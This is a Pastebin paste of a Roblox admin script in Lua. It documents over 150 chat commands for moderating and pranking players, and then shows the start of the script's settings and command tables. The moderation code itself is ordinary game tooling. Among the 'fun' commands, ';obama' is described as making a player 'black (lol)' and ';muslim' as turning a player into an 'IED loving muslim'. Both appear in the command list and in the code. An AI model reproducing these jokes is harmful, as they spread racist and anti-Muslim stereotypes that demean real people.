Guest User

33

a guest
Jan 9th, 2016
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 234.04 KB | None | 0 0
  1. --[[
  2. MADE BY LUAMODELMAKER/MAKERMODELLUA All rights given to LuaModelMaker/MakerModelLua
  3. I'm glad you are using my admin :D
  4. I hope My (LuaModelMaker/MakerModelLua) Admin isn't to complex to use.
  5. Just read the commands and you'll get the hang of it :)
  6.  
  7. PLEASE EDIT SETTINGS INSIDE THE SETTINGS SCRIPTS OR READ THE README
  8.  
  9. To execute server scripts, please go to ServerScriptService and enable LoadStringEnabled. NOTE: Doing this will disable all PlayerPoint commands.
  10. TO CONTROL ADMIN REMOTLEY GO TO: http://classy-studios.com/Login
  11.  
  12. ReadMe: http://www.classy-studios.com
  13.  
  14.  
  15. -- Commands --
  16.  
  17. Example:
  18. ;kill noobs/guests/me/nonadmins
  19. ;team new Noobs
  20. ;team join me/guests Noobs
  21.  
  22. PEOPLE YOU CAN USE COMMANDS ON:
  23. Any players (first few letters of their name): ;kill luamodel or ;kill luamodel/guests -- The Player(s) specified
  24. Me: kill me -- You
  25. Others/Mortals: ;kill others -- Everyone else but you
  26. Noobs: ;kill noobs -- Everyone who's roblox account age is under 1 year old
  27. NonNoobs: ;kill nonnoobs -- Everyone who's roblox account age is over 1 year old
  28. Random: ;kill random -- Random person
  29. All: ;kill all -- Everyone
  30. Admins: ;kill admins -- Admins in the server
  31. Nonadmins ;kill nonadmins -- People who aren't admins
  32. Uppers: ;kill uppers -- People starting with an uppercase letter in their name
  33. Lowers: ;kill lowers -- People starting with an lowercase letter in their name
  34. Guests: ;kill guests -- Kill all the guests(Real ones)
  35. NBCs: ;kill nbcs -- Everyone without a membership in the server
  36. BCs: ;kill bcs -- Everyone with the membership: BC in the server
  37. TBCs: ;kill tbcs -- Everyone with the membership: TBC in the server
  38. OBCs: ;kill obcs -- Everyone with the membership: OBC in the server
  39. AllBCs: ;kill allbcs -- Everyone with any membership in the server
  40. Team: ;kill team-blue -- Everyone in the team named "blue"
  41. List: ;kill list -- Shows a list of everyone in the server, you can select multiple people and submit the data and run the command on them
  42. (NOTE THIS IS NOT CAPS SENSITIVE)
  43.  
  44. NOTE: Commands in kohl's or person299's that use 'un' as in unff or unjail are 'no' in mine(Accept for some), like 'noff' and 'nojail'
  45. NOTE: ;btools me is not a command, instead, say ;give me btools
  46.  
  47. Commands:
  48.  
  49. -- Owners --
  50.  
  51. 1.) ;admin lua
  52. Admins LuaModelMaker to the rank "Admin"
  53.  
  54. 2.) ;forceplace lua 1337
  55. Forces LuaModelMaker to go to place with the ID of 1337
  56.  
  57. 3.) ;fun enable
  58. Enables fun commands
  59.  
  60. 4.) ;noadmin lua
  61. Removes LuaModelMaker from Admin or Member list
  62.  
  63. 5.) ;removeadmin
  64. Shuts LuaModelMaker's Admin down
  65.  
  66. ADD.) ;forcefollow lua 13645
  67. Makes LuaModelMaker follow the player with the user ID of 13645 in a universe
  68.  
  69. ADD.) ;fix
  70. Fixes admin by essentially rebooting it. Looses data that's not in settings. NOTE: OWNER OF THE GAME MUST OWN THE MODEL.
  71.  
  72. ADD.) ;awardbadge maker 156337226
  73. Will attempt to give MakerModelLua the badge with the ID 156337226
  74.  
  75. V2.) ;givepoints maker 5
  76. Will attempt to give MakerModelLua 5 player points, will only work if the game's point balance is more or equal to 5
  77.  
  78. V2.) ;clearsounds
  79. Clears all sounds used from the ;addsound command
  80.  
  81. [Switch(104)] ;nos
  82. Removes all scripts except LMM's Admin[NOW OWNER COMMAND]
  83.  
  84. V2.) ;clearlogs
  85. Clears command logs
  86.  
  87. V2.) ;clearexploitlogs
  88. Clears exploit logs
  89.  
  90. V2.) ;showad maker
  91. Shows an ad to MakerModelLua(only works on mobile platforms as of 9/4/2014)
  92.  
  93. V2.) ;replicatecommand builderman ;kill me
  94. Will execute the command ";kill me" on builderman's client, killing him because he is the speaker in the replicated command
  95.  
  96. V2.) ;masterclear
  97. Clears all things in workspace besides admin and makes a baseplate
  98.  
  99. V2.) ;saveplace
  100. Attempts to save place (needs to have SavePlace API enabled, [ http://wiki.roblox.com/images/c/c0/CreatePlaceConfigure.png ] )
  101.  
  102. V2.) ;downloadlogs
  103. Downloads logs from Remote account(needs DataKey)
  104.  
  105.  
  106. -- Admins+ --
  107.  
  108. 6.) ;ban lua
  109. Bans LuaModelMaker from the server so he can't join
  110.  
  111. 7.) ;c print("Ohi der")
  112. Runs Server-side script in workspace
  113.  
  114. 8.) ;crash lua
  115. Crashes them out of the server
  116.  
  117. 9.) ;jail lua
  118. Creates a jail LuaModelMaker will be trapped and spawned in
  119.  
  120. 10.) ;kick lua
  121. Kicks LuaModelMaker out of the server
  122.  
  123. 11.) ;l print("Look, a localscript!")
  124. Creates a LocalScript in the speaker's character
  125.  
  126. 12.) ;loopkill lua 10
  127. Kills LuaModelMaker 10 times
  128.  
  129. 13.) ;member lua
  130. Admins LuaModelMaker to the rank "Member"
  131.  
  132. 14.) ;mute lua
  133. Removes LuaModelMaker's chatbar so he cannot talk
  134.  
  135. 15.) ;noban lua
  136. Removes LuaModelMaker's name from the ban list
  137.  
  138. 16.) ;nocrash lua
  139. Removes LuaModelMsker's name from the crash list
  140.  
  141. 17.) ;noloopkill lua
  142. Stops any loopkill on LuaModelMaker
  143.  
  144. 18.) ;nomute lua
  145. Removes LuaModelMaker's name from the mute list and makes him talk agian
  146.  
  147. 19.) ;note lua Creator of LMM's Admin
  148. Creates a note about LuaModelMaker that he is the Creator of LMM's Admin [ See ;shownotes ]
  149.  
  150. 20.) ;place lua 1337
  151. Requests LuaModelMaker to go to the place ID with 1337
  152.  
  153. 21.) ;removenotes Creator of
  154. Removes the notes Starting with "Creator of LMM's Admin"
  155.  
  156. 22.) ;shutdown
  157. Shuts the server down
  158.  
  159. 23.) ;sm Cats have ears
  160. Creates a system message: "Cats have ears"
  161.  
  162. ADD.) ;lockserver
  163. Makes it so anyone not an admin will be kicked from the server
  164.  
  165. ADD.) ;unlockserver
  166. Makes it so anyone can join the server
  167.  
  168. ADD.) ;follow lua 13645
  169. Asks LuaModelMaker follow the player with the user ID of 13645 in a universe
  170.  
  171. V2.) ;syncsoundlist
  172. Syncs sound list to check for new sounds from global sound database
  173.  
  174. V2.) ;cleart
  175. Clears all terrain in the game.
  176.  
  177. V2.) ;prefix :
  178. Changes prefix from what it was before to ':'. Cannot be more than 5 characters long and if you forget the prefix use the 'settings' command which doesn't require a prefix.
  179.  
  180. V2.) ;addsound 131065183 Roar
  181. Adds Katy Perry - Roar to global sound list. Any new servers, universe places, or the one you are in will contain this sound. To sync instantly with other servers see ';syncsoundlist'
  182.  
  183. V2.) ;lto maker print("Hi!")
  184. Will run 'print("Hi!")' on MakerModelLua's client
  185.  
  186. V2.) ;waypoint player Maker Waypoint1
  187. Adds a waypoint at MakerModelLua's position named Waypoint1
  188.  
  189. V2.) ;waypoint vector 100 0 -100 Waypoint2
  190. Adds a waypoint at (100,0,-100) named Waypoint2
  191.  
  192. V2.) ;removewaypoint Way
  193. Removes any waypoint starting with "way"
  194.  
  195. V2.) ;clearstamper
  196. Clears all objects put in workspace by stamper
  197.  
  198. V2.) ;base
  199. Removes all others baseplates and creates a new one
  200.  
  201. V2.) ;notify Builderman is here!
  202. Will send a remote log(if available) to the creator's LinkedAccount
  203.  
  204.  
  205. -- Members+ --
  206.  
  207. 24.) ;admins
  208. Shows a list of all the admins
  209.  
  210. 25.) ;age lua
  211. Shows how long LuaModelMaker has been on roblox
  212.  
  213. 26.) ;bans
  214. Shows a list of all the banned players
  215.  
  216. 27.) ;backwards lua
  217. Reverses LuaModelMaker's Controls
  218.  
  219. 28.) ;blind lua
  220. Blinds LuaModelMaker
  221.  
  222. 29.) ;brightness 0.5
  223. Sets server brightness to 0.5
  224.  
  225. 30.) ;change lua points 100000
  226. Changes LuaModelMaker's points to 100000
  227.  
  228. 31.) ;char lua 261
  229. Changes LuaModelMaker's Character to look like the user with the ID 261 [ Shedletsky ]
  230.  
  231. 32.) ;clone lua
  232. Creates a clone of LuaModelMaker
  233.  
  234. 33.) ;clr
  235. Clears Jails,Clones, and other inserted things by LMM's Admin
  236.  
  237. 34.) ;clip lua
  238. Clips LuaModelMaker out of noclip
  239.  
  240. 35.) ;cmdbar
  241. Gives the speaker a command bar
  242.  
  243. 36.) ;control lua
  244. Controls LuaModelMakers body
  245.  
  246. 37.) ;crashes
  247. Shows a list of all the crashed players
  248.  
  249. 38.) ;debug lua
  250. Debugs LuaModelMaker - Removes ;char ;obama ;noob ;guest and respawns them
  251.  
  252. 39.) ;decal 1234
  253. Selects a decal to the speakers cursor, click to insert, press z to dismiss, x to remove
  254.  
  255. 40.) ;disco
  256. Makes the server flash disco colors
  257.  
  258. 41.) ;drug lua
  259. Simulates LuaModelMaker being on LSD(A drug)
  260.  
  261. 42.) ;explode lua
  262. Kills LuaModelMaker in a deadly explosion [ FUN COMMAND ]
  263.  
  264. 43.) ;face lua 1337
  265. Gives LuaModelMaker the face with the ID of 1337
  266.  
  267. 44.) ;fart lua
  268. Causes LuaModelMaker to pass gas [ FUN COMMAND ]
  269.  
  270. 45.) ;ff lua
  271. Gives a forcefield to LuaModelMaker
  272.  
  273. 46.) ;fire lua
  274. Catches LuaModelMaker on fire [ FUN COMMAND ]
  275.  
  276. 47.) ;flash
  277. Makes the server flash
  278.  
  279. 48.) ;fling lua
  280. Flings LuaModelMaker out of the server [ FUN COMMAND ]
  281.  
  282. 49.) ;flip lua
  283. Flips LuaModelMaker 360° around [ FUN COMMAND ]
  284.  
  285. 50.) ;fly lua
  286. Allows LuaModelMaker to fly
  287.  
  288. 51.) ;forwards lua
  289. Resets LuaModelMaker's Walkspeed and undoes ;backwards
  290.  
  291. 52.) ;freeze lua
  292. Freezes LuaModelMaker so he can't move
  293.  
  294. 53.) ;friends lua
  295. Shows a list of who LuaModelMaker is friends and Bestfriends with in the server
  296.  
  297. 54.) ;gear lua 13337
  298. Gives LuaModelMaker the gear with the ID of 1337
  299.  
  300. 55.) ;ghost lua
  301. Causes LuaModelMaker to look like a ghost [ FUN COMMAND ]
  302.  
  303. 56.) ;give lua basicbtools
  304. Gives LuaModelMaker basic building tools
  305.  
  306. 57.) ;give lua btools
  307. Gives LuaModelMaker all building tools, including GigsD4X's Building Tools by F3X
  308.  
  309. V2.) ;give maker f3xtools
  310. Gives MakerModelLua GigsD4X's Building Tools by F3X
  311.  
  312. 58.) ;give lua psbtools
  313. Gives LuaModelMaker Personal Server building tools
  314.  
  315. 59.) ;give lua cookie
  316. If there is a tool named "Cookie", then LuaModelMaker gets a tool named "Cookie"
  317.  
  318. 60.) ;givetools builderman
  319. Gives builderman a copy of of the speaker's tools
  320.  
  321. 61.) ;god lua
  322. Gives LuaModelMaker maximum health
  323.  
  324. 62.) ;gold lua
  325. Makes LuaModelMaker have a golden color and shine to him [ FUN COMMAND ]
  326.  
  327. 63.) ;guest lua
  328. Causes LuaModelMaker to look like a guest [ FUN COMMAND ] (undone by ;debug command)
  329.  
  330. 64.) ;h Heh, Hi
  331. Creates a hint: "Heh, Hi"
  332.  
  333. 65.) ;hat lua 1337
  334. Gives LuaModelMaker a hat with the ID of 1337
  335.  
  336. 66.) ;heal lua
  337. Gives LuaModelMaker full health
  338.  
  339. 67.) ;health lua 50
  340. Sets LuaModelMaker's Health to 50
  341.  
  342. 68.) ;headsize lua 200
  343. Sizes LuaModelMaker's Head to 200% it's original size
  344.  
  345. 69.) ;invis lua
  346. Renders LuaModelMaker invisible
  347.  
  348. 70.) ;insert 13333
  349. Inserts a Model to LuaModelMaker's Cursor. Press X to cancel, click to insert.
  350.  
  351. 71.) ;jump lua
  352. Makes LuaModelMaker jump
  353.  
  354. 72.) ;kill lua
  355. Kills LuaModelMaker
  356.  
  357. 73.) ;lamp lua
  358. Creates a light in front of LuaModelMaker
  359.  
  360. 74.) ;light lua
  361. Creates a light in around of LuaModelMaker
  362.  
  363. 75.) ;longneck lua
  364. Gives LuaModelMaker a longneck [ FUN COMMAND ]
  365.  
  366. 76.) ;loopheal lua
  367. Heals LuaModelMaker constantly
  368.  
  369. 77.) ;loopfling lua
  370. Flings LuaModelMaker constantly [ FUN COMMAND ]
  371.  
  372. 78.) ;m I like cheese
  373. Creates a Message: "I like cheese"
  374.  
  375. 79.) ;merge lua builderman [ COMMAND REMOVED ]
  376. Merges LuaModelMaker and Builderman together
  377.  
  378. 80.) ;mutes
  379. Shows a list of all Mutes
  380.  
  381. 81.) ;naked lua
  382. Clears LuaModelMaker's character rendering him naked [ FUN COMMAND ]
  383.  
  384. 82.) ;name lua LMM
  385. Changes LuaModelMaker's character name to: "LMM"
  386. V2 Note: saying _NAME will add the player's real name to the argument. Exp: ;name Maker _NAME is awesome! (Changes MakerModelLua's name to "MakerModelLua is awesome!")
  387.  
  388. 83.) ;noarms lua
  389. Removes LuaModelMaker's arms [ FUN COMMAND ]
  390.  
  391. 84.) ;nobind lua
  392. Stops the effect of the blind command on LuaModelMaker
  393.  
  394. 85.) ;noclip lua
  395. Makes it so LuaModelMaker can fly though solid objects
  396.  
  397. 86.) ;nodrug lua
  398. Stops the effect of the drug command on LuaModelMaker
  399.  
  400. 87.) ;noff lua
  401. Removes any forcefields in LuaModelMaker
  402.  
  403. 88.) ;nofire lua
  404. Stops the effect of the fire command on LuaModelMaker [ FUN COMMAND ]
  405.  
  406. 89.) ;noflash lua
  407. Stops the effect of the flash command on LuaModelMaker [ FUN COMMAND ]
  408.  
  409. 90.) ;nofly lua
  410. Stops the effect of the fly command on LuaModelMaker
  411.  
  412. 91.) ;nohats lua
  413. Removes all of LuaModelMaker's hats
  414.  
  415. 92.) ;nolamp lua
  416. Stops the effect of the lamp command on LuaModelMaker
  417.  
  418. 93.) ;nolegs lua
  419. Removes LuaModelMaker's legs [ FUN COMMAND ]
  420.  
  421. 94.) ;nolight lua
  422. Stops the effect of the light command on LuaModelMaker
  423.  
  424. 95.) ;nolimbs lua
  425. Removes all of LuaModelMaker's limbs [ FUN COMMAND ]
  426.  
  427. 96.) ;noloopfling lua
  428. Stops the effect of the loopfling command on LuaModelMaker [ FUN COMMAND ]
  429.  
  430. 97.) ;noname LuaModelMaker
  431. Removes any name someone may have named LuaModelMaker
  432.  
  433. 98.) ;noob lua
  434. Turns LuaModelMakerMaker into a noob [ FUN COMMAND ] (undone by ;debug command)
  435.  
  436. 99.) ;nooverlay lua
  437. Stops the effect of the overlay command on LuaModelMaker
  438.  
  439. 100.) ;nopunish lua
  440. Stops the effect of the punish command on LuaModelMaker
  441.  
  442. 101.) ;normal lua
  443. Undoes any character changes(;shine, ;gold, invis)
  444.  
  445. 102.) ;normaljump lua
  446. Stops the effect of the superjump command on LuaModelMaker
  447.  
  448. 103.) ;normalneck lua
  449. Stops the effect of the longneck command on LuaModelMaker [ FUN COMMAND ]
  450.  
  451. 104.) ;nos
  452. Removes all scripts except LMM's Admin[NOW OWNER COMMAND]
  453.  
  454. 105.) ;nosmoke lua
  455. Stops the effect of the smoke command on LuaModelMaker [ FUN COMMAND ]
  456.  
  457. 106.) ;nosparkles lua
  458. Stops the effect of the sparkles command on LuaModelMaker [ FUN COMMAND ]
  459.  
  460. 107.) ;nospin lua
  461. Stops the effect of the spin command on LuaModelMaker [ FUN COMMAND ]
  462.  
  463. 108.) ;nostun lua
  464. Stops the effect of the stun command on LuaModelMaker [ FUN COMMAND ]
  465.  
  466. 109.) ;notools lua
  467. Removes all of LuaModelMaker's tools
  468.  
  469. 110.) ;npl lua
  470. Removes LuaModelMaker's player list
  471.  
  472. 111.) ;obama lua
  473. Makes LuaModelMaker black (lol) [ FUN COMMAND ] (undone by ;debug command)
  474.  
  475. 112.) ;overlay lua 1337
  476. Overlays a decal on LuaModelMaker's head with the ID of 1337
  477.  
  478. 113.) ;pants lua 1337
  479. Gives LuaModelMaker pants with the ID of 1337
  480.  
  481. 114.) ;pm shed Wut up?
  482. Personal messages Shedletsky: "Wut up?"
  483.  
  484. 115.) ;point lua roblox
  485. Creates a laser beam between LuaModelMaker and ROBLOX
  486.  
  487. 116.) ;product lua 10000
  488. Shows a catalog like GUI about the product 10000 to LuaModelMaker
  489.  
  490. 117.) ;punish lua
  491. Punishes LuaModelMaker
  492.  
  493. 118.) ;ragdoll lua
  494. Makes LuaModelMaker a ragdoll
  495.  
  496. 119.) ;respawn lua
  497. Respawns LuaModelMaker
  498.  
  499. 120.) ;shine lua
  500. Gives LuaModelMaker a reflective shine
  501.  
  502. 121.) ;shirt lua 1337
  503. Gives LuaModelMaker the shirt with the ID of 1337
  504.  
  505. 122.) ;shownotes lua
  506. Shows saved notes about LuaModelMaker
  507.  
  508. 123.) ;sa
  509. Shows all Server Admins
  510.  
  511. 124.) ;sit lua
  512. Makes LuaModelMaker sit
  513.  
  514. 125.) ;smoke lua [ FUN COMMAND ]
  515. Makes LuaModelMaker smoke
  516.  
  517. 126.) ;sound 1337
  518. Plays a sound with the ID of 1337
  519.  
  520. 127.) ;sparkles lua
  521. Gives LuaModelMaker sparkles [ FUN COMMAND ]
  522.  
  523. 128.) ;speed lua 100
  524. Makes LuaModelMaker walk 100 SPS
  525.  
  526. 129.) ;spin lua
  527. Makes LuaModelMaker spin [ FUN COMMAND ]
  528.  
  529. 130.) ;strobe lua
  530. Creates a flashing light on LuaModelMaker's screen
  531.  
  532. 131.) ;stun lua
  533. Stuns LuaModelMaker so he cannot move
  534.  
  535. 132.) ;superjump lua
  536. Makes LuaModelMaker jump really high
  537.  
  538. 133.) ;sword lua
  539. Gives LuaModelMaker a sword
  540.  
  541. 134.) ;taketools lua
  542. Gives the speaker LuaModelMaker's tools
  543.  
  544. 135.) ;team join lua Red Team
  545. Makes it so LuaModelMaker joins the Red Team
  546.  
  547. 136.) ;team new Blue Team
  548. Creates a team named: "Blue Team"
  549.  
  550. 137.) ;team remove Red Team
  551. Removes the Read Team
  552.  
  553. 138.) ;team rename Blue Winners
  554. Renames the team: "Blue Team" to "Winners"
  555.  
  556. 139.) ;test
  557. Tests to see if LMM's Admin is still working
  558.  
  559. 140.) ;time noon
  560. Changes time in server to noon
  561.  
  562. 141.) ;tp lua build
  563. Teleports LuaModelMaker to Builderman
  564.  
  565. 142.) ;tshirt lua 12222
  566. Puts the tshirt the the ID 12222 on LuaModelMaker
  567.  
  568. 143.) ;vis lua
  569. Makes LudaModelMaker visible
  570.  
  571. 144.) ;vomit lua
  572. Makes LuaModelMaker puke everywhere [ FUN COMMAND ]
  573.  
  574. 145.) ;vote all 10 Do you like LMM's Admin?
  575. Gives a poll to everyone for 10 seconds a yes or no question: "Do you like LMM's Admin?"
  576.  
  577. ADD.) ;logs
  578. Checks commands by players
  579.  
  580. ADD.) ;countdown 20
  581. Counts down from 20(Cannot be more than 120 seconds)
  582.  
  583. ADD.) ;fixl
  584. Fixes lighting and stops disco and flashing
  585.  
  586. V2.) ;soundlist
  587. Shows sound list from sound database
  588.  
  589. V2.) ;hack maker
  590. Prompts a (fake) System32 style command prompt on MakerModelLua's screen. Looks like it's hacking.
  591.  
  592. V2.) ;rich maker
  593. Turns MakerModelLua into a rich player (Merely) [ FUN COMMAND ] (undone by ;debug command)
  594.  
  595. V2.) ;oder maker
  596. Turns MakerModelLua into an online dater [ FUN COMMAND ] (undone by ;debug command)
  597.  
  598. V2.) ;ambient 255 255 255
  599. Turns the server's global ambient RGB to 255,255,255(white) defualt 127,127,127
  600.  
  601. V2.) ;list noobs
  602. Creates a list of all players specified.
  603.  
  604. V2.) ;fixcam maker
  605. Restores MakerModelLua's camera to defualt.
  606.  
  607. V2.) ;plugins
  608. Views all plugins and shows if they're running.
  609.  
  610. V2.) ;countpoints
  611. Counts all player points left inside of a game
  612.  
  613. V2.) ;getpoints maker
  614. Shows how many player points MakerModelLua has
  615.  
  616. V2.) ;getgamepoints maker
  617. Shows how many player points MakerModelLua has won from the current game.
  618.  
  619. V2.) ;muslim maker
  620. Turns MakerModelLua into a IED loving muslim. [ FUN COMMAND ] (undone by ;debug command)
  621.  
  622. V2.) ;port
  623. Shows the speaker the port number of the server, usefull for remote command execution for a specific server(used at http://classy-studios.com/Login/)
  624.  
  625. V2.) ;exploitlogs
  626. Shows a list of all exploits with player stats
  627.  
  628. V2.) ;waypoints
  629. Shows a list of all waypoints
  630.  
  631. V2.) ;warp maker Waypoint1
  632. Will warp MakerModelLua to any waypoint starting with "Waypoint1"
  633.  
  634. V2.) ;quickcommands
  635. Prompts a selection list of quick commands a player can execute multiple commands on multiple people
  636.  
  637. V2.) ;abuselist
  638. Shows all commands on the abuse list, for when DisableAbuse is on, any commands starting with those characters will not be executed
  639.  
  640. V2.) ;hasasset MakerModelLua 23220518
  641. Will show if MakerModelLua has the asset ID 23220518(LuaCap)
  642.  
  643. V2.) ;chat all red I like pie!
  644. Will make all players chat "I like pie!" with a red dialog
  645.  
  646. V2.) ;splode maker
  647. Will make MakerModelLua spam explode 50 times [ FUN COMMAND ]
  648.  
  649.  
  650. -- Non-Admin Commands+ --
  651.  
  652. 146.) ;adminvip
  653. Displays the product for the Admin VIP
  654.  
  655. 147.) ;cln
  656. Cleans hats and tools from server
  657.  
  658. 148.) ;cmds
  659. Shows a list of commands
  660.  
  661. 149.) ;membervip
  662. Displays the product for the Admin VIP
  663.  
  664. 150.) ;rejoin
  665. Makes Speaker rejoin the game
  666.  
  667. 151.) ;removemenu
  668. Removes LMM's Admin Menu
  669.  
  670. V2.) ;adminhouse
  671. Prompts a GUI telling you wich admin house you would like to go to.
  672.  
  673. V2.) settings
  674. Shows settings of admin. No prefix required.
  675.  
  676. V2.) ;fullcmds
  677. Shows a list of all commands(same as ;cmds), only you can select commands and it will attempt to execute them as shown
  678.  
  679.  
  680.  
  681. -------------------
  682. -- Main Script --]]
  683.  
  684. -- No touchies --
  685.  
  686. wait(1)
  687.  
  688. local LocalScript = script:FindFirstChild("LocalScriptExecution")
  689. local Script = script:FindFirstChild("ScriptExecution")
  690. local Version = script:FindFirstChild("Version")
  691. local Memberships = {["NBC"] = Enum.MembershipType.None, ["BC"] = Enum.MembershipType.BuildersClub, ["TBC"] = Enum.MembershipType.TurboBuildersClub, ["OBC"] = Enum.MembershipType.OutrageousBuildersClub}
  692. local Flings, Jailed, Objects, Logs, ManualCommands, VoteVersion, Stopped, Shutdown = {}, {}, {}, {}, {}, 0, false, false
  693. local Waypoints = {["Center"] = Vector3.new(0,0,0)}
  694. local F3X = script:FindFirstChild("Building Tools")
  695.  
  696. local Workspace = game:GetService("Workspace")
  697. local Players = game:GetService("Players")
  698. local Teams = game:GetService("Teams")
  699. local Lighting = game:GetService("Lighting")
  700. local MPS = game:GetService("MarketplaceService")
  701. local TS = game:GetService("TeleportService")
  702. local HS = game:GetService("HttpService")
  703. local Run = game:GetService("RunService")
  704. local Points = game:GetService("PointsService")
  705. local TestService = game:GetService("TestService")
  706. local NS = {Port = 0}
  707. local DataStore = game:GetService("DataStoreService"):GetGlobalDataStore()
  708. local Settings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or Workspace:FindFirstChild("LuaModelMaker's Admin Settings")
  709. local GameOwner = "[ Client ]"
  710. local PlaceName = "Unknown"
  711. if game.Players.LocalPlayer == nil then
  712. NS = game:GetService("NetworkServer")
  713. repeat
  714. ypcall(function()
  715. local PlaceInfo = MPS:GetProductInfo(game.PlaceId)
  716. GameOwner = PlaceInfo.Creator.Name
  717. PlaceName = PlaceInfo.Name
  718. end)
  719. wait(1)
  720. until GameOwner ~= "[ Client ]"
  721. end
  722.  
  723. local LuaModelMakerStamp = false
  724.  
  725. local Module = game.ServerStorage:FindFirstChild("Module")
  726. if Module then
  727. Module = Module.Value
  728. end
  729. if F3X then
  730. F3X.Handle.Position = Vector3.new(0,1000,0)
  731. end
  732.  
  733. --------------------------------------
  734. local SettingsModule = nil
  735. if Settings then SettingsModule = require(Settings) else SettingsModule = {} end
  736.  
  737. local Ranks = SettingsModule.Ranks or {["Owner"] = {}, ["Admin"] = {}, ["Member"] = {}, ["Banned"] = {}, ["Crashed"] = {}, ["Muted"] = {}}
  738. local FUN = SettingsModule.FUN
  739. local LagTime = SettingsModule.LagTime or 5
  740. local Prefix = SettingsModule.Prefix or ";"
  741. local Bet = SettingsModule.Bet or " "
  742. local VIPMemberID = SettingsModule.VIPMemberID or 0
  743. local VIPAdminID = SettingsModule.VIPAdminID or 0
  744. local GroupID = SettingsModule.GroupID or 0
  745. local GroupMemberRank = SettingsModule.GroupMemberRank or 0
  746. local GroupAdminRank = SettingsModule.GroupAdminRank or 0
  747. local GroupOwnerRank = SettingsModule.GroupOwnerRank or 0
  748. local BadgeID = SettingsModule.BadgeID or 0
  749. local EnableAdminMenu = SettingsModule.EnableAdminMenu
  750. local RankBan = SettingsModule.RankBan or 0
  751. local ServerLocked = SettingsModule.ServerLocked or false
  752. local DisableAbuse = SettingsModule.DisableAbuse or false
  753. local LinkedAccount = SettingsModule.LinkedAccount or "Admin"
  754. local MinimumAge = SettingsModule.MinimumAge or 0
  755. local BannedGroupIDs = SettingsModule.BannedGroupIDs or {}
  756. local AbuseList = SettingsModule.AbuseList or {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools"}
  757. local DataKey = SettingsModule.DataKey or ""
  758. local AbusableGear = SettingsModule.AbusableGear or {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459}
  759.  
  760.  
  761. if FUN == nil then FUN = true end
  762. if EnableAdminMenu == nil then EnableAdminMenu = true end
  763.  
  764. local Command,ServerCommand,ServerPort,TimeStamp = "","",0,"NIL"
  765.  
  766. local ExecuteCommand = script:FindFirstChild("ExecuteCommand")
  767. if not ExecuteCommand then
  768. ExecuteCommand = Instance.new("RemoteFunction", script)
  769. ExecuteCommand.Name = "ExecuteCommand"
  770. end
  771.  
  772. if not DataKey or DataKey == "" then
  773. local Key = game:GetService("ServerStorage"):FindFirstChild("DataKey")
  774. if Key then DataKey = Key.Value end
  775. end
  776.  
  777. local Commands = {
  778. NonAdmin = {"-- Non-Admin Commands --", ";adminvip", ";cln", ";cmds", ";membervip", ";rejoin", ";removemenu", ";adminhouse", "settings", ";fullcmds"};
  779. Member = {"-- Member Commands --", ";admins", ";age player", ";bans", ";backwards player", ";blind player", ";brightness num", ";change player num", ";char player num", ";clone player", ";clip player", ";clr", ";cmdbar", ";control player", ";cookie player[SPECIAL COMMAND]", ";crashes", ";debug player", ";decal num", ";disco", ";drug player", ";explode player", ";face player num", ";fart player", ";ff player", ";fire player", ";flash", ";fling player", ";flip player", ";fly player", ";forwards player", ";freeze player", ";friends player", ";gear player num", ";ghost player", ";give player basicbtools", ";give player btools", ";give player psbtools", ";give player string", ";give player f3xtools", ";givetools player", ";god player", ";gold player", ";guest player", ";h string", ";hat player num", ";heal player", ";health player num", ";headsize player num", ";invis player", ";insert num", ";jump player", ";kill player", ";lamp player", ";light player", ";longneck player", ";loopheal player", ";loopfling player", ";m string", ";mutes", ";naked player", ";name player string", ";noarms player", ";nobind player", ";noclip player", ";nodrug player", ";noff player", ";nofire player", ";noflash player", ";nofly player", ";nohats player", ";nolamp player", ";nolegs player", ";nolight player", ";nolimbs player", ";noname player", ";noob player", ";nooverlay player", ";nopunish player", ";normal player", ";normaljump player", ";normalneck player", ";nosmoke player", ";nosparkles player", ";nospin player", ";nostun player", ";notools player", ";npl player", ";obama player", ";overlay player num", ";pants player num", ";pm player string", ";point player player", ";product player num", ";punish player", ";ragdoll player", ";respawn player", ";shine player", ";shirt player num", ";shownotes player", ";sa", ";sit player", ";smoke player", ";sound num", ";sparkles player", ";speed player num", ";spin player", ";strobe player", ";stun player", ";superjump player", ";sword player", ";taketools player", ";team join player string", ";team new string", ";team remove string", ";team rename string[1] string", ";test", ";time num", ";tp player player", ";tshirt player num", ";vis player", ";vomit player", ";vote player num string", ";logs", ";countdown num", ";nogod player(Doesn't mean there is no God)", ";fixl", ";soundlist", ";hack player", ";rich player", ";oder player", ";ambient number number number", ";fixcam player", ";plugins", ";countpoints", ";getpoints player/number[User ID]", ";getgamepoints player/number[User ID]", ";muslim player", ";port", ";exploitlogs", ";warp string(waypoint)", ";waypoints", ";quickcommands", ";abuselist", ";hasasset player number", ";chat player [color(red/blue/green)] message", ";splode player"};
  780. Admin = {"-- Admin Commands --", ";accelerate player", ";bans", ";c string", ";crash player", ";jail player", ";kick player", ";l string", ";loopkill player num", ";member player", ";mute player", ";noban player", ";nocrash player", ";noloopkill player", ";nomute player", ";note player string", ";place player num", ";removenotes player string", ";shutdown", ";sm string", ";follow player num[UserID]", ";lockserver", ";unlockserver", ";syncsoundlist", ";cleart", ";abuse enable/disable", ";addsound num[Audio ID] string[Name]", ";lto player string", ";waypoint [type:player] player string", ";waypoint [type:vector] num num num string", ";removewaypoint string", ";clearstamper", ";base", ";notify string"};
  781. Owner = {"-- Owner Commands --", ";admin player", ";forceplace player num", ";fun enable/disable", ";noadmin player", ";removeadmin", ";adminmenu enable/disable", ";update", ";forcefollow player num[UserID]", ";fix", ";prefix string", ";awardbadge player num[ID]", ";givepoints player/number[User ID]", ";clearsounds", ";nos", ";clearlogs", ";clearexploitlogs", ";showad player", ";replicatecommand player string(command)", ";masterclear", ";saveplace", ";downloadlogs"};
  782. }
  783.  
